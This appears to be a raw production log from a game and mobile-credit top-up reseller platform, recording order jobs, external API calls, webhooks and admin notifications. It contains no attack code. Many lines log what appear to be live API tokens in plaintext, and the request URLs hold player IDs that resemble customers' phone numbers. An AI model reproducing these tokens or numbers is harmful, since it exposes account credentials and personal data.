[2026-03-24 14:30:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:30:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:30:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"processed":1,"errors":0} 
[2026-03-24 14:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664,"processed":1,"errors":0} 
[2026-03-24 14:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TTGFXY4gFPG9jy7f9kjZCY61bxH8YyUb","execution_time":"2026-03-24 14:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k94CkHu-1774351721","operation_id":163664} 
[2026-03-24 14:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 14:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 14:30:05] production.INFO: async() رجع: true  
[2026-03-24 14:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 14:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 14:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 14:30:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 14:30:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1572  
[2026-03-24 14:30:45] production.INFO: Constructing job for order: 178745  
[2026-03-24 14:30:48] production.INFO: Handling job for order: 178745  
[2026-03-24 14:30:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:30:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:30:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=fe6ea99b-2b52-4581-a1c0-acc0b676b886&Player_ID=0959241134  
[2026-03-24 14:30:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=fe6ea99b-2b52-4581-a1c0-acc0b676b886&Player_ID=0959241134","has_body":false} 
[2026-03-24 14:30:49] production.INFO: Operation sent successfully {"operation_id":163666,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Isq-1774351849","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:30:49"}},"processed_data":{"order_number":"ORD-Isq-1774351849","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:30:59] production.INFO: Constructing job for order: 178746  
[2026-03-24 14:31:01] production.INFO: Handling job for order: 178746  
[2026-03-24 14:31:01] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:31:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:31:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=da5a8d1e-b763-483d-b041-14830db3b5c8&Player_ID=0959241134  
[2026-03-24 14:31:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=da5a8d1e-b763-483d-b041-14830db3b5c8&Player_ID=0959241134","has_body":false} 
[2026-03-24 14:31:02] production.INFO: Operation sent successfully {"operation_id":163667,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6mOO4Ujo-1774351862","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:31:02"}},"processed_data":{"order_number":"ORD-6mOO4Ujo-1774351862","amount":26.38340000000000173940861714072525501251220703125,"status":"processing","product":"25 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:31:05] production.INFO: Constructing job for order: 178747  
[2026-03-24 14:31:08] production.INFO: Handling job for order: 178747  
[2026-03-24 14:31:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:31:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:31:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=67e96a6e-a016-40e3-920e-d1f271e5d65e&Player_ID=0964768127  
[2026-03-24 14:31:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=67e96a6e-a016-40e3-920e-d1f271e5d65e&Player_ID=0964768127","has_body":false} 
[2026-03-24 14:31:09] production.INFO: Operation sent successfully {"operation_id":163668,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Vb837Q-1774351868","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:31:09"}},"processed_data":{"order_number":"ORD-Vb837Q-1774351868","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:31:32] production.INFO: Constructing job for order: 178748  
[2026-03-24 14:31:33] production.INFO: Handling job for order: 178748  
[2026-03-24 14:31:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:31:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:31:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=7c04027d-c99d-4e6c-9a2f-d95bb62ad2df&Player_ID=0964768127  
[2026-03-24 14:31:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=7c04027d-c99d-4e6c-9a2f-d95bb62ad2df&Player_ID=0964768127","has_body":false} 
[2026-03-24 14:31:33] production.INFO: Operation sent successfully {"operation_id":163669,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Pxg1KPzf-1774351893","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:31:33"}},"processed_data":{"order_number":"ORD-Pxg1KPzf-1774351893","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:32:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03"} 
[2026-03-24 14:32:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","total_operations":6,"sites_count":2} 
[2026-03-24 14:32:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-h5qQ-1774351650"]} 
[2026-03-24 14:32:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663} 
[2026-03-24 14:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"processed":0,"errors":0} 
[2026-03-24 14:32:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"orders_count":4,"order_ids":["ORD-Isq-1774351849","ORD-6mOO4Ujo-1774351862","ORD-Vb837Q-1774351868","ORD-Pxg1KPzf-1774351893"]} 
[2026-03-24 14:32:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663} 
[2026-03-24 14:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-h5qQ-1774351650","operation_id":163663,"orders_count":4} 
[2026-03-24 14:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 14:32:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 14:32:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"count":4} 
[2026-03-24 14:32:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"count":4} 
[2026-03-24 14:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"user_id":366,"notification_type":"order_approved","reference_id":178746} 
[2026-03-24 14:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"user_id":366,"notification_type":"order_approved","reference_id":178745} 
[2026-03-24 14:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"user_id":1074,"notification_type":"order_approved","reference_id":178748} 
[2026-03-24 14:32:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"user_id":1074,"notification_type":"order_approved","reference_id":178747} 
[2026-03-24 14:32:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 14:32:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 14:32:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"processed":4,"errors":0} 
[2026-03-24 14:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668,"processed":4,"errors":0} 
[2026-03-24 14:32:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NlQbSaNg6mui0BTQIt9vXVVDItXuMCva","execution_time":"2026-03-24 14:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Vb837Q-1774351868","operation_id":163668} 
[2026-03-24 14:32:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 14:32:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 14:32:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 14:32:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 14:32:23] production.INFO: Constructing job for order: 178749  
[2026-03-24 14:32:25] production.INFO: Handling job for order: 178749  
[2026-03-24 14:32:25] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:32:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:32:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dd4d4019-e35e-4d18-bc3e-5dc356e74fa7&Player_ID=0995408711  
[2026-03-24 14:32:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=dd4d4019-e35e-4d18-bc3e-5dc356e74fa7&Player_ID=0995408711","has_body":false} 
[2026-03-24 14:32:25] production.INFO: Operation sent successfully {"operation_id":163670,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-NdnRbq-1774351945","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 14:32:25"}},"processed_data":{"order_number":"ORD-NdnRbq-1774351945","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 14:32:55] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"120.0","mainamount":"120","operation_number":"158264724","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpe5phupavhk9m286R7p6"}},"user_id":1724} 
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 14:32:56] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 14:32:56] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18627,"user_id":1724,"amount":120.0,"admins_notified":7} 
[2026-03-24 14:33:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-h5qQ-1774351650","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 14:33:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-h5qQ-1774351650","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 14:33:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:33:10] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":178742} 
[2026-03-24 14:33:11] production.INFO: Order updated successfully. Order ID: 178742, Status: completed  
[2026-03-24 14:33:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-h5qQ-1774351650","status":"completed","codes_count":0} 
[2026-03-24 14:33:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 14:33:14] production.INFO: Constructing job for order: 178750  
[2026-03-24 14:33:17] production.INFO: Handling job for order: 178750  
[2026-03-24 14:33:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:33:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:33:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=904d8dee-fd2e-4e0e-97b8-ca1b28f99352&Player_ID=7667132941  
[2026-03-24 14:33:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/90/params?qty=1&uuid=904d8dee-fd2e-4e0e-97b8-ca1b28f99352&Player_ID=7667132941","has_body":false} 
[2026-03-24 14:33:18] production.INFO: Operation sent successfully {"operation_id":163671,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-EAU-1774351997","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 14:33:18"}},"processed_data":{"order_number":"ORD-EAU-1774351997","amount":9.3465000000000006963318810448981821537017822265625,"status":"processing","product":"1080+120 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 14:33:22] production.INFO: Constructing job for order: 178751  
[2026-03-24 14:33:24] production.INFO: Handling job for order: 178751  
[2026-03-24 14:33:24] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 14:33:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:33:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=51188013-66a7-4cfd-846e-c6fc8516413a&Player_ID=0959164981  
[2026-03-24 14:33:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=51188013-66a7-4cfd-846e-c6fc8516413a&Player_ID=0959164981","has_body":false} 
[2026-03-24 14:33:24] production.INFO: Operation sent successfully {"operation_id":163672,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FbUB0-1774352004","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 14:33:24"}},"processed_data":{"order_number":"ORD-FbUB0-1774352004","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 14:33:46] production.INFO: Constructing job for order: 178752  
[2026-03-24 14:33:48] production.INFO: Handling job for order: 178752  
[2026-03-24 14:33:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 14:33:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 14:33:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=cb4b591a-ccc4-4449-ba60-010995caea56&Player_ID=51772004702  
[2026-03-24 14:33:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=cb4b591a-ccc4-4449-ba60-010995caea56&Player_ID=51772004702","has_body":false} 
[2026-03-24 14:33:49] production.INFO: Operation sent successfully {"operation_id":163673,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DSZwKmb-1774352029","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 14:33:49"}},"processed_data":{"order_number":"ORD-DSZwKmb-1774352029","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 14:33:50] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-EAU-1774351997","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 14:33:50] production.INFO: Processed webhook data (normalized) {"id":"ORD-EAU-1774351997","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 14:33:50] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 14:33:50] production.INFO: SendAcceptReject: Notification queued {"user_id":31,"notification_type":"order_approved","reference_id":178750} 
[2026-03-24 14:33:50] production.INFO: Order updated successfully. Order ID: 178750, Status: completed  
[2026-03-24 14:33:50] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-EAU-1774351997","status":"completed","codes_count":0} 
[2026-03-24 14:33:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 31  
[2026-03-24 14:34:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04"} 
[2026-03-24 14:34:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","total_operations":4,"sites_count":2} 
[2026-03-24 14:34:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-9snNM5s-1774348305","ORD-DSZwKmb-1774352029"]} 
[2026-03-24 14:34:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 14:34:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 14:34:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 14:34:05] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673} 
[2026-03-24 14:34:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 14:34:05] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673,"processed":0,"errors":0} 
[2026-03-24 14:34:05] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673,"orders_count":2,"order_ids":["ORD-NdnRbq-1774351945","ORD-FbUB0-1774352004"]} 
[2026-03-24 14:34:05] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673} 
[2026-03-24 14:34:05] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DSZwKmb-1774352029","operation_id":163673,"orders_count":2} 
[2026-03-24 14:34:05] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ghjH5vEBH7zm8kAzEKjDE90L8iIPHg8Z","execution_time":"2026-03-24 14:34:05","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-NdnRbq-1774351945","operation_id":163670,"processed":2,"skipped":0,"updates_prepared":2} 
